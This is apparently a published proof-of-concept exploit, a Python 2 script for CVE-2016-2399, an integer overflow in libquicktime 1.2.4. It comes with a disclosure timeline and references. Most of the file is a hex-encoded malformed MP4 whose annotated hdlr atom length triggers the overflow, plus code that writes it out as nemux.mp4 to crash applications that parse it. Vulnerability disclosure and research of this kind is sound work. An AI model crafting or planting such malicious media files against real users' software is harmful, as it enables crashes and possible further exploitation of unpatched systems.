libquicktime 1.2.4 - Integer Overflow

#!/usr/bin/env python

#

###

# - 7 February 2016 -

# My last bug hunting session (*for fun and no-profit*)

# has been dedicated to libquicktime

###

#

# Author: Marco Romano - @nemux_ http://www.nemux.org

# libquicktime 1.2.4 Integer Overflow

#

# Product Page: http://libquicktime.sourceforge.net/

# Description: 'hdlr', 'stsd', 'ftab' MP4 Atoms Integer Overflow

# Affected products: All products using libquicktime version <= 1.2.4

#

# CVE-ID: CVE-2016-2399

#

# Disclosure part: http://www.nemux.org

#

########

####### Timeline

#

# 07 Feb 2016 Bug discovered

# 17 Feb 2016 Mitre.org contacted

# 17 Feb 2016 Disclosed to the project's maintainer

# 23 Feb 2016 No response from the maintainer

# 23 Feb 2016 Publicly disclosed

#

########

####### References

#

# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2399

# http://libquicktime.sourceforge.net/

# http://www.linuxfromscratch.org/blfs/view/svn/multimedia/libquicktime.html

# https://en.wikipedia.org/wiki/QuickTime\_File\_Format

#

#######

#

# DISCLAIMER: It's just a PoC... it will crash something

#

####

import sys

import struct

import binascii

 

"""

There needs to be an mp4 file with these nested atoms to trigger the bug:

moov -> trak -> mdia -> hdlr

"""

hax0r_mp4 = ("0000001C667479704141414100000300336770346D70343133677036000000086D646174000001B1"

             "6D6F6F76"               #### moov atom

             "0000006C6D76686400000000CC1E6D6ECC1E6D6E000003E80000030200010000010000000000000000000000"

             "000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000000"

             "00000000000000000000000000000003000000FD756474610000001263707274000000000000FEFF0000000000126175"

             "7468000000000000FEFF0000000000127469746C000000000000FEFF00000000001264736370000000000000FEFF0000"

             "0000001270657266000000000000FEFF000000000012676E7265000000000000FEFF00000000001A72746E6700000000"

             "00000000000000000000FEFF000000000018636C7366000000000000000000000000FEFF00000000000F6B7977640000"

             "000055C400000000276C6F6369000000000000FEFF000000000000000000000000000000FEFF0000FEFF0000000000FF"

             "616C626D000000000000FEFF0000010000000E79727263000000000000000002E4"

             "7472616B"               #### trak atom

             "0000005C746B686400000001CC1E6D6ECC1E6D6E00000001000000000000030000000000000000000000000001000000"

             "000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000040"

             "6D646961"               #### mdia atom

             "000000206D64686400000000CC1E6D6ECC1E6D6E00003E800000300000000000000000"

             "4E"                     #### hdlr atom length

             "68646C72"               #### hdlr atom

             "0000000000"

             "4141414141414141"       #### our airstrip :)

             "0000000000000000000000"

             "EC"                     #### 236 > 127 <-- overflow here and a change in signedness too

             "616161000000FF736F756E000000000000000000000000536F756E6448616E646C6572000000012B6D696E6600000010")

 

hax0r_mp4 = bytearray(binascii.unhexlify(hax0r_mp4))

 

def createPoC():

    try:

        with open("./nemux.mp4","wb") as output:

            output.write(hax0r_mp4)

        print "[*] The PoC is done!"

    except Exception,e:

        print str(e)

        print "[*] mmmm!"

 

def usage():

    print "\nUsage? Run it -> " + sys.argv[0]

    print "this poc creates an mp4 file named nemux.mp4"

    print "--------------------------------------------"

    print "This dummy help? " + sys.argv[0] + " help\n"

    sys.exit()

 

if __name__ == "__main__":

    try:

        if len(sys.argv) == 2:

            usage()

        else:

            print "\nlibquicktime <= 1.2.4 Integer Overflow CVE-2016-2399\n"

            print "Author: Marco Romano - @nemux_ - http://www.nemux.org\n\n";

            createPoC();

    except Exception,e:

        print str(e)

        print "Ok... Something went wrong..."

        sys.exit()